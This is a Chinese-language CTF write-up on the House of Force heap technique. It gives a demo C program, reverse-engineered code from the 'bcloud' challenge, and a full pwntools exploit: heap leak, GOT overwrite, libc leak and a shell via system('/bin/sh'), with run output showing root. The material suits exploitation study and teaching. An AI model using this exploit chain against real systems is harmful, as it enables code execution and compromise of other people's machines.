先复习一下House of Force
House of Force的思想就是覆盖top chunk的值,然后让malloc返回一个任意的值
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
char bss_var[] = "This is a string that we want to overwrite."; //这个是我们像覆盖的地方
int main(int argc , char* argv[])
{
fprintf(stderr, "一开始bss_var的地址在: %p.\n", bss_var);
fprintf(stderr, "它的值是: %s\n", bss_var);
intptr_t *p1 = malloc(256); //首先我们malloc,开辟一块heap空间
fprintf(stderr, "第一次malloc的地址在 %p.\n", p1 - 2); //现在heap有两个部分,一个是它,一个是top chunk
int real_size = malloc_usable_size(p1);
fprintf(stderr, "由于对其的原因,malloc真正的大小是: %ld.\n", real_size + sizeof(long)*2);
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long)); //top chunk 指针的位置
fprintf(stderr, "\ntop chunk的起始位置在: %p\n", ptr_top);
fprintf(stderr, "top chunk改之前的值为: %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; //假装覆盖指针,为 -1,即 0xffffffffffffffff,现在top chunk变成了一个巨大的值,我们可以在不调用mmap的情况下malloc任何值
fprintf(stderr, "top chunk改之后的值为: %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
/*
* evil_size 的计算方式(nb是请求的大小+metadata的大小):
* new_top = old_top + nb
* nb = new_top - old_top
* 请求的大小 + 2sizeof(long) = new_top - old_top // sizeof(long)就是8byte
* 请求的大小 = new_top - old_top - 2sizeof(long)
* 请求的大小 = dest - 2sizeof(long) - old_top - 2sizeof(long) //dest为新的chunk指向的位置
* 请求的大小 = dest - old_top - 4*sizeof(long) //请求的大小 = 新chunk指向位置 - old_top的位置 - 4*(8byte)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top; //请求的大小 = 新chunk指向位置 - old_top的位置 - 4*(8byte)
void *new_ptr = malloc(evil_size); // 新chunk指向位置 = 请求的大小 + old_top的位置 + 4*(8byte)
fprintf(stderr, "现在新的chunk指向了原来的top chunk: %p\n", new_ptr - sizeof(long)*2);//此时top chunk的位置已经到了要覆盖位置的前方
void* ctr_chunk = malloc(100); //再次malloc,我们malloc到了我们想要的位置
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "... old string: %s\n", bss_var);
strcpy(ctr_chunk, "YEAH!!!"); //覆盖数据
fprintf(stderr, "... new string: %s\n", bss_var);
}
file
file bcloud
bcloud: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped
checksec
Python 2.7.5 (default, Aug 7 2019, 00:51:29)
[GCC 4.8.5 20150623 (Red Hat 4.8.5-39)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> print ELF('./bcloud')
[*] '/root/sploitfun/bccloud/bcloud'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
反汇编之后
void __cdecl main()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
save_all();
while ( 1 )
{
switch ( make_choice() )
{
case 1:
new_note();
break;
case 2:
Something_strange_happened();
break;
case 3:
edit_note();
break;
case 4:
del_note();
break;
case 5:
Synchronization();
break;
case 6:
bye();
return;
default:
Invalid_option();
break;
}
}
}
input函数如下
int __cdecl input_morty(int a1, int a2, char a3)
{
char buf; // [sp+1Bh] [bp-Dh]@2
int i; // [sp+1Ch] [bp-Ch]@1
for ( i = 0; i < a2; ++i ) // a2 = 64
{
if ( read(0, &buf, 1u) <= 0 )
exit(-1);
if ( buf == a3 ) // a3 = 10
break;
*(_BYTE *)(a1 + i) = buf; // a1是字符串的地址
}
*(_BYTE *)(i + a1) = 0; // 将最后一位置零
return i; // 返回字符串的长度
}
用户申请的整个长度全部读入了值,最后又加了一个\x00,造成了off by one
打印的函数如下
int __cdecl puts_stuff(int a1)
{
printf("Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n", a1);
return puts("Now let's set synchronization options.");
}
之前输入的name字符串存在的截断缺失在这里就可以利用了,在外层reg_name函数中,name字符串就是栈变量s,而s和分配的堆块指针v2相邻,恰好隔了0x40的偏移,因此只要我们在输入name的时候输入0x40个A,此处就可以通过printf泄露v2指针的值,即泄露了堆地址;此外,name_input函数中最后的置零没有影响,虽然起初的置零会把v2覆盖为零,但是malloc是在此之后的。
save_ori_host函数如下
int save_ori_host()
{
char s; // [sp+1Ch] [bp-9Ch]@1
char *v2; // [sp+5Ch] [bp-5Ch]@1
int v3; // [sp+60h] [bp-58h]@1
char *v4; // [sp+A4h] [bp-14h]@1
int v5; // [sp+ACh] [bp-Ch]@1
v5 = *MK_FP(__GS__, 20);
memset(&s, 0, 0x90u);
puts("Org:");
input_morty((int)&s, 64, 10);
puts("Host:");
input_morty((int)&v3, 64, 10);
v4 = (char *)malloc(0x40u);
v2 = (char *)malloc(0x40u);
dword_804B0C8 = (int)v2; // ori指针
dword_804B148 = (int)v4; // host指针
strcpy(v4, (const char *)&v3);
strcpy(v2, &s);
puts("OKay! Enjoy:)");
return *MK_FP(__GS__, 20) ^ v5;
}
然后受name_input影响而缺失截断的字符串是栈上的s和v3,现在我们看第20行的strcpy,由于&s处的字符串缺失截断符号,我们输入0x40个A后就紧接上了栈上的v2,v2是堆指针,四个字节大概率都不为截断值,因此strcpy的拷贝不会停下,再继续往下就到了栈上的v3了,也就是另外一个我们输入的字符串,因此会继续拷贝v3这个字符串中的内容。那么拷贝到了哪呢?拷贝目标内存是v2,也就是malloc到的一个chunk,由于v2分配的最晚(此前又没有free,所有bin均空),因此v2所指的这个chunk正是与top chunk相邻的,因此这里的拷贝把0x40的垃圾数据拷贝满这个chunk后,再拷贝就会覆盖到top chunk的头部了:v2的值四字节填上了top chunk的presize,v3字符串的前四个字节则会覆盖掉top chunk的size字段,由于v3字符串的内容是由我们随意控制的,我们就能够将top chunk的size字段篡改为FF FF FF FF,即-1,实现了House of force攻击的第一步!
new函数
int new_note()
{
int result; // eax@6
signed int i; // [sp+18h] [bp-10h]@1
int v2; // [sp+1Ch] [bp-Ch]@7
for ( i = 0; i <= 9 && dword_804B120[i]; ++i )
;
if ( i == 10 )
{
result = puts("Lack of space. Upgrade your account with just $100 :)");
}
else
{
puts("Input the length of the note content:");
v2 = sub_8048709();
dword_804B120[i] = (int)malloc(v2 + 4);
if ( !dword_804B120[i] )
exit(-1);
dword_804B0A0[i] = v2;
puts("Input the content:");
input_morty(dword_804B120[i], v2, 10);
printf("Create success, the id is %d\n", i);
result = i;
dword_804B0E0[i] = 0;
}
return result;
}
最终的exp
# coding=utf-8
from pwn import *
io = process(['./bcloud'])
bss_addr = 0x0804b0a0
def new(length, content):
io.sendlineafter("option--->>\n", '1')
io.sendlineafter("content:\n", str(length))
io.sendlineafter("content:\n", content)
def edit(idx, content):
io.sendlineafter("option--->>\n", '3')
io.sendline(str(idx))
io.sendline(content)
def delete(idx):
io.sendlineafter("option--->>\n", '4')
io.sendlineafter("id:\n", str(idx))
def leak_heap():
io.sendafter("name:\n", "A" * 0x40) # 通过off by one ,造成scpcy多复制了4个字节,leak出了heap的地址
leak = u32(io.recvuntil('! Welcome', drop=True)[-4:])
log.info("leak heap address: 0x%x" % leak)
return leak
def house_of_force(leak):
io.sendafter("Org:\n", "A" * 0x40)
io.sendlineafter("Host:\n", p32(0xffffffff)) # 这里将top chunk 的size覆盖成这个值
new((bss_addr - 0x8) - (leak + 0xd0) - 0x8 - 4,
'AAAA') # 0xd0 = top chunk - leak malloc一个特定大小的chunk,使下个chunk到指定的位置
payload = "A" * 0x80
payload += p32(0x804b014) # notes[0]->elf.got['free'] 第0个note地址指针的值改为了free@got
payload += p32(0x804b03c) * 2 # notes[1], notes[2]->elf.got['atoi'] 第一个note和第二个note的指针改为了atoi@got
new(0x8c, payload)
def leak_libc():
edit(0, p32(0x08048520)) # 将free@got的值改写为puts@plt objdump -d bcloud | less
delete(1) #这时free(1)就是puts(atoi_addr) 因为1的值指向了atoi@got
io.recvuntil("id:\n")
leak_atoi_addr = u32(io.recvn(4)) #收到了atoi在虚拟内存中的地址
libc_base = leak_atoi_addr - 0x30890 # 计算出libc的地址 readelf -s libc-2.19.so | grep atoi 00030890
system_addr = libc_base + 0x3ef70 # 计算出system的地址 readelf -s libc-2.19.so | grep system 0003ef70
print("atoi 地址: 0x%x" % leak_atoi_addr)
print("libc base: 0x%x" % libc_base)
return system_addr
def pwn(system_addr):
edit(2, p32(system_addr)) # atoi@got的值改为system地址
io.sendline("/bin/sh\x00")
io.interactive()
if __name__ == '__main__':
leak = leak_heap() # 首先是leak出heap的地址
house_of_force(leak) # 然后使HOF将note前三个指针的值改写
system_addr = leak_libc()
pwn(system_addr)
最终运行的结果
python morty.py
[+] Starting local process './bcloud': pid 3269
[*] leak heap address: 0x804c008
atoi \xb5刂\xb7: 0xf7e2e890
libc base: 0xf7dfe000
[*] Switching to interactive mode
Input the id:
Input the new content:
Edit success.
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
$ id
uid=0(root) gid=0(root) 组=0(root)